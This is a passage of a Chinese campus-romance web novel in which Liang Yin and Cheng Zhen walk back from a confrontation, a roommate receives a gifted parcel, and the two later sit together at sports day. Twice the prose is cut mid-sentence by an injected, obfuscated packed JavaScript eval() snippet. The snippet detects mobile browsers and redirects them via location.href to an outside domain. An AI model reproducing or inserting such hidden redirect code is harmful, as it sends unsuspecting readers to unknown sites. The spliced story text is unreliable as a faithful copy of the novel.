陆子恒没理他，深吸了一口气对上梁因的视线：“你最好说到做到。” 梁因眨了眨眼睛，点头算是应下。 “那行，解决了。”程臻语气轻快，收回了搂着梁因肩膀的手，下一秒自然地把她的手牵了起来，没再给陆子恒眼神，拉着梁因走了。 他这行云流水的动作连梁因都没反应过来，愣了愣便被他牵着跟在他身后，两人都没说话，硬生生走楼梯下了四楼。 一楼门口，有不少学生进出教学楼，梁因只觉得被程臻牵着的手沾上了他掌心的温度，甚至沿着手臂蔓延往上，半边身体都有些不太自在，于是放慢了脚步喊他：“程臻。” “怎——”程臻闻言回头，刚开口余光便注意到了他和梁因牵在一块儿的手，卡壳两秒随即迅速松开，“……抱歉。” 他捻了两下手指转开目光，清了清嗓子之后又看了回来：“刚才，我真不是故意听你们说话的。” “没事儿，又不是什么见不得人的勾当，而且我还得谢谢你。”梁因笑了，“你要是没来，我还不知道要跟他折腾多久呢。” 见梁因没有不高兴的样子，程臻松了口气，也勾起唇角轻笑了一下，两个人一起慢慢往寝室楼的方向走，只是他察觉到梁因似乎有一下没一下地往他这边瞟。 “怎么了？” “我能问你个问题吗？”梁因双手背在身后，有些好奇地看着程臻。 “你问。” “你……谈过恋爱吗？”梁因眨眨眼睛，“这个能说吗？” 程臻脚步一顿，看她一眼：“怎么这么问？” “哦，就是觉得你刚才在陆子恒面前演的那段儿，”梁因停顿两秒，“特别——” 梁因抬手，冲程臻比划了一个大拇指。 程臻看她，勾起唇角笑了起来：“我还怕你觉得我太夸张太过了，看起来效果还不错？” “特别不错！”梁因点了点头，“所以我以为——” “哦，没有。”程臻笑了一下，“我就是想着，怎么让他不爽怎么来。” “这样啊。”梁因闻言也笑起来，余光瞥见一旁的操场，刚好有在上体育课的班级，她忽然想起什么，收回目光问程臻，“对了，这周五不是运动会吗，你有没有报什么项目？” 程臻干脆地摇摇头：“没有。” “什么都没报吗？”梁因有些意外，“我以为你体育应该还蛮不错的。” 程臻解释：“还行，不过学校不是也允许体育生参赛吗，就算报了估计拿不到前几名，我就不凑这个热闹了。” “但是好像前八就有积分吧？算在班级头上的那种？” “是有。”程臻顿了顿，看了梁因一眼，随即收回目光垂下了眼，“不过我也没有这个强的集体荣誉感，就算了。” 跟之前的高中初中相比，大学里“班级”这个概念的存在感实在是不怎么高，很多人只有在上专业课的时候才会见上一面，可能除了名字之外对其他的都一概不知。 梁因看着程臻的侧脸，才后知后觉地意识到什么。 她对程臻的印象其实有一个逐渐的转变过程——刚开始不认识不熟悉的时候，梁因也觉得他看起来冷淡难接近，后来相处接触下来才一点点发觉，他其实脾气很好，很靠谱，也热心又耐心。 而梁因这一刻无端回想起之前，只是不知道是不是和他的性格有关，程臻跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483634|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的朋友在一块儿的时候，他总有些“淡”，好像和别人总保持着似近非远的距离，好像对一切都一视同仁，好像很难找到什么能让他的情绪强烈波动的事物。 她若有所思地盯着程臻看，没留神险些踩上前面凹凸不平的地砖，被他眼疾手快地拽了一把：“看路。” “哦哦。”梁因回过神，心有余悸地回头看了一眼刚才那块不平整的地面，身旁忽然传来程臻的声音。 “你呢？” 梁因一下子没反应过来，茫然回头，程臻于是补充：“运动会。” “哦，我也没报。”梁因顿了顿，抢先解释，“但我这方面是真的比较菜，报了也是在最后陪跑的那种，所以我找到了更适合我的赛道——给我室友加油。” “你室友？” “对，不是周静雨，我另一个室友特别厉害，去年运动会拿了名次的，所以我就只需要负责给她拿衣服递水就行。” 程臻弯唇笑了笑：“那挺好。” 两人在寝室区门口分开，梁因走进寝室楼时，见楼下小黑板上写了周静雨的名字，便去宿管阿姨那里帮她把快递拿上了楼。 有时候个别快递会送到寝室楼下，一般谁看见了就会顺手把室友的带上去，梁因只核对了收件人和手机尾号，没看发货的店铺，只觉得方方正正的小盒子拿在手里没什么份量。 却没想到周静雨一脸意外：“快递？我这几天都没买东西啊？” “说不定是哪个暗恋者送来的礼物呢？”赵新艺靠在椅子上覆着面膜，“名字地址手机号都是对的，那就先拆开看看呗，小心点儿就行。” “同意。”丁玥也凑过来围观，“小雨快拆！” 在几双眼睛的注视下，周静雨还是拆开了这个快递，里面还有个包装袋，梁因眼尖地认出了品牌logo：“这不是你之前没抢到的玩偶那家吗！” 拿出包装袋小心地打开，里面果不其然是那只周静雨想要的小熊，之前卡着点没抢到，她还为此发了条朋友圈，没想到—— “是不是沈铭川看到你的朋友圈了？他送的吧？”梁因笑嘻嘻的，语气夸张，“这年不年节不节生日不生日的，哎呀你们说，送这个礼物到底是什么意思呀？” 周静雨被她的话说得得脸红，挣扎了句“说不定不是他呢”，正巧手机亮了亮，说曹操曹操到，是沈铭川给她发的消息，问她快递有没有收到。 其余三人小小起哄一番后便默契散开，没打扰周静雨跟沈铭川聊天，梁因伸了个懒腰，坐回自己的椅子上舒舒服服地转了小半圈，点开手机，见微信里收到了几条来自钟娴的消息。 梁因点开，钟娴先发了几张图片，是程钧写的几篇英语作文，题目是学校老师推荐的课外辅导书里选的，想让梁因帮忙看一看，后面还附了个红包。 这也太客气了——梁因用ipad点开程钧的作文一边看一边做了些批注发回给了钟娴，然后才点开了红包。 等待钟娴回复的时候，梁因勾选了几条她的消息转发给了程臻。 梁因：【你弟弟还是蛮努力的嘛】 程臻的手机估计就在手边，倒是秒回。 程臻：【他最好是】 程臻：【要是他一直这么勤奋，估计也就用不上你了】 梁因：【真的假的？】 程臻：【刚开始他很容易三分钟热度，到后来……】 程臻：【要让他坚持下去就要看你的了】 程臻：【小梁老师】 29. Chapter 29 梁因一挑眉，弯起唇角挑了个托腮的表情包发给程臻，然后才继续打字。 梁因：【小钧哥哥】 梁因：【小朋友可是需要夸奖和鼓励的哦】 程臻：【我说实话而已】 程臻：【而且我也没当着他的面说】 程臻：【你对他严格点儿，别之后新鲜劲儿过了，让他觉得你好说话就偷懒】 每回说起程钧的时候，梁因都能从程臻身上发现一些或多或少的毒舌属性，她看着程臻的消息，没忍住笑了一声，打字回复。 梁因：【行，知道啦】 打完这行字发送，梁因在后知后觉地意识到寝室里忽然安静下来，一抬头吓了一跳——其他三个人正直勾勾地看着她。 “……你们看着我干什么？” 丁玥眨眨眼睛问她：“跟谁聊天啊，这么开心？” “我上家教那个小孩儿，他妈妈给我发了他写的作文让我帮忙看看。”梁因解释道，“他不是程臻的弟弟吗，我就转给他看了，说他弟弟挺努力挺认真的呀，结果他说根本不是这样的，不但偷偷说他弟弟坏话，还让我对他严格一点儿。” 周静雨扶了扶眼镜，笑眯眯地“哦”了一声。 梁因被她们盯地没来由一阵心虚，眨眨眼睛注意到周静雨已经把小熊端端正正地放上了置物架：“哎呀，都已经摆上了呀？” 周静雨也回头看了一眼，笑了笑没说话。 “唉，有一种家里的白菜被拱了的感觉。”梁因幽幽叹了口气。 “行了，别唉声叹气了小白菜们。”赵新艺已经卸了面膜，冲她们打了个响指，“我外卖到楼下了，你们谁的到了，我顺便一起拿上来。” - 从这天起，周静雨和沈铭川的关系似乎进入了新的阶段，两人开始单独出去吃饭或者散步，不过沈铭川十分上道，给周静雨点饮料的时候会记得点四杯，却还是堵不上大家起哄的嘴。 运动会上沈铭川报名了短跑的项目，周静雨于是准备拉着同样无所事事的梁因去预赛的检录处。 “你们俩都这个关系了，你去陪他检录还要我陪啊？”梁因眨眨眼睛调侃她。 “那，你不是刚好没事儿吗。”周静雨拉着梁因的衣角晃了晃，“艺姐被学生会叫去帮忙了，一会儿等她回来再一起去看玥玥比赛不是刚好？你陪我去嘛。” “好啦好啦。”梁因笑着点头，比了个OK的手势，“等我换个鞋。” 检录处人很多，沈铭川远远便看见了周静雨和梁因，超她们招了招手。 林砚也在，笑嘻嘻地开玩笑，说她们俩过来看别的班的男生，算不算胳膊肘往外拐。 “也不算外吧？”梁因笑着接话，意有所指地摸了摸周静雨的胳膊。 几人说话间林砚看了看消息，随即说有点事情要去找陶莹一趟。 沈铭川摆了摆手：“你去吧。” “不好意思啊兄弟，我先撤一下，一会儿终点等你。”林砚拍了拍沈铭川的肩膀，又跟两个女生打了招呼，刚走出去两步却又拐了回来，抬眼看向梁因。 “我差点儿忘了，梁因，你能帮个忙吗？”林砚把一直挂在臂弯的衣服递给她，“这件衣服是程臻的，本来我等会儿正好顺路去看台给他，既然碰到你了，那我给你行不？” 梁因愣了一秒之后很快应下，点点头接过：“好啊，给我吧。” “谢啦。” 林砚说完便走了，梁因抱着衣服跟周静雨对视一眼——原本“闲杂人等”有她和林砚两个，现在她并不想一个人继续在这儿做电灯泡。 于是梁因清了清嗓子，开口道：“那你们聊，我先去找一下程臻把衣服给他。” 周静雨想说什么，梁因嘴快地抢了先：“没事儿，玥玥检录还有一会儿呢，群里说。” 说完梁因笑嘻嘻地捏了捏她的手臂，冲沈铭川挥了挥手也忙不迭溜了，只是走出去老远，才后知后觉自己并不知道程臻在哪儿。 林砚的意思应该是他在看台…… 可是看台上几乎坐满了同学，找一个人实在有些困难，梁因于是停下脚步，给程臻发了条消息问他在哪。 “梁因？” 听见有人喊自己，梁因循声抬眼，见赵殊正在几步开外看着自己，笑着走近。 “学长？好巧啊。”梁因轻轻点了点头打招呼。 “你报什么项目了吗？我去给你加油。” “哦，没有，我体育不好，只能站在旁边给朋友加油了。”梁因摆了摆手，客气地问道，“学长你呢？” “我报了跳高比赛，排在下午了。”赵殊点点头，“你有空吗？可以来看看。” 梁因吸一口气，感觉自己给自己挖了个坑：“我，下午，我可能不一定有空……” “没事儿，你要是能来最好。”赵殊十分善解人意地笑了，“那一会儿有空吗？一起吃个午饭？” 梁因不大自在，无意识地收紧了身前的手臂，余光忽然瞥见了臂弯挂着的衣服，当即选择搬出挡箭牌：“不好意思啊学长，中午我跟男朋友约好了一块儿吃饭的。” “男朋友？”赵殊一愣，这个回答显然出乎他的意料。 “对。”梁因笑着点点头，恰到好处地表现出些许羞涩，示意了一下自己臂弯的衣服，“我正要去找他呢。” “你的男朋友，”赵殊愣了愣，脸上才重新挂上温和的笑，“是同学吗？” “也是我们年级的。”梁因点了点头，并不打算说太多，刚好微信上收到了程臻的回复，她垂眸看了看，随即抬眼，“那学长，我就先走啦。” “好，那下回有空再约饭。” 梁因礼貌地应下，笑眯眯打了招呼便离开。 看台位置很多，程臻没说他具体坐在那儿，梁因原本想走近些再发消息问他，却后知后觉发现根本就是多余——程臻站在看台最下面一排靠着栏杆，梁因隔着一段距离，一下子就看见了他。 其实站着的不止他一个，好几个同学分散着倚着栏杆，旁边也有三三两两说话的，可程臻相貌实在是出挑，一扫过去，眼神不自觉地就停在了他身上。 他倚在栏杆上看手机，还戴着一副白色的有线耳机，似乎是在听歌，阳光轻照在他身上勾勒出浅金色的轮廓，看起来活脱脱一个的青春校园剧的男主角。 梁因不自觉放慢了脚步，忽然看见两个女生站在他斜后方两三步的距离，看上去实在犹豫要不要上前跟程臻搭话，片刻后，其中一个轻轻推了一把另一个，后者整理了一下头发，随即走到了程臻旁边。 注意到了身旁的人，程臻转过了头，礼貌地摘下了一只耳机听对方说话。 梁因距离看台还有一段距离，完全听不清他们说话的内容，只看到程臻对那漂亮姑娘说了几句什么，随即摆了摆手摇头，余光似乎是注意到什么，随即往她这边看了过来—— 刚好和十来米开外看戏的梁因目光相撞。 梁因：“……” 她下意识冲程臻笑了笑，见他轻轻一挑眉，竟然跟那女生指了指自己，又说了句什么，让她也转过来看了梁因一眼。 怎么她离这么远也有戏份啊？！ 下一秒梁因只见那女生看了她一眼，很快收回目光跟程臻说了什么，转头拉着几步开外的同伴走了。 看这架势，梁因想也知道自己估计是被程臻搬出来当作“女朋友”了，踩着台阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497829|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了看台，没问他什么，只把臂弯的衣服递了过去。 “给，林砚让我拿给你的衣服。” “谢谢。”程臻伸手接过，他没把刚才摘掉的耳机戴回去，自然地垂在身前，梁因随意地瞥了一眼便上移视线，没问他刚才那个女生是怎么回事，跟他一块儿靠在栏杆上。 十月底的温度不高，但好在天气很不错，在阳光下吹着凉风相当惬意，梁因微微眯起了眼睛。 “坐会儿？”程臻开口，瞥了一眼看台上放着包的位置。 “好啊。”梁因点点头。 反正她现在暂时也无处可去，不如在这里和程臻一起坐一会儿。 程臻把包挪到旁边的空座位上放着，腾出了个位置，跟梁因并排坐着，他动作间，那只没戴的耳机在半空中晃啊晃，吸引住了梁因的视线。 她想问，却被程臻的话抢了先。 “怎么没去给你的室友做啦啦队？” “还没到她的项目呢，她现在跟我们班其他参加比赛的同学在一块儿。”梁因说道，“我就不去凑热闹了，运动员的世界不是我等凡夫俗子能够踏足的。” 程臻弯起唇角笑了笑，梁因却转头看他，眨了眨眼睛。 “你怎么总是笑啊。”梁因的语气倒不是抱怨，听起来只是疑惑，“你这样会让我觉得，我很——” 她顿了顿才接上最后一个形容词：“……幽默。” “我哪有总——”程臻一挑眉，下意识反驳，话到一半却见梁因忽然坐直了些，睁大了眼睛看着他，还竖起了一根手指，满脸写着“你现在就又笑了”。 而他也是刚刚才第一次意识到这一点，心下忽然生出了点难以描述的意味。 在别人对他的描述里，用到的形容大多都是话少不爱笑，不好接近，类似这样的表达，梁因则在他身上贴上了个截然相反的标签。 见程臻语塞，梁因的神色带上了点儿得意，笑嘻嘻地看着他。 片刻后程臻开口，恢复了他往常的样子，开玩笑地说道：“林砚说我没表情臭脸，你说我总是笑，你俩要不先吵一架？” “其实刚开始的时候，我也觉得你是那种冷脸冰山的类型。”梁因看着他，一本正经地分析，“但后来发现其实不是。” 程臻其实不经常在乎自己在别人心目中的形象，可看着正在有一下没一下晃腿的梁因，看风吹起她一缕缕发丝，他忽然生出一点好奇。 “那后来发现，其实是什么？” 这个问题有点儿把梁因问住了，她没有立刻回答，朝远离程臻的方向偏了偏身体，若有所思地打量他一番。 “我说了你会不高兴吗？” 程臻看着她，摇摇头。 “我觉得你其实有点像活火山。”梁因重新坐正，说出了个程臻从来没想过的答案。 “……什么？”程臻有一瞬间的错愕，他从来没想过她的回答居然会是这个方向的。 “活火山。”梁因字正腔圆地重复一遍，对上程臻的视线，忽然反应过来什么，连忙补充解释，“我不是说你脾气不好的意思，我是指情绪上的——你理解吗？” 程臻看着她，片刻后微一挑眉，还没开口梁因便卸了气，放弃道：“算了，要不你还是当我没说吧。” 说完她便转过脸，把目光投向不远处的操场。 程臻倒是沉默地看了她一会儿，忽然勾起唇角笑了，顺着她刚才的话继续道：“那你觉得我什么时候会火山爆发？” “……嗯？”梁因看过来，眨了眨眼睛看着他，琢磨了两秒后摇了摇头，“那我就不知道啦。” “嗯。”程臻慢条斯理地点了一下头，也望向了操场，“那我等等看。”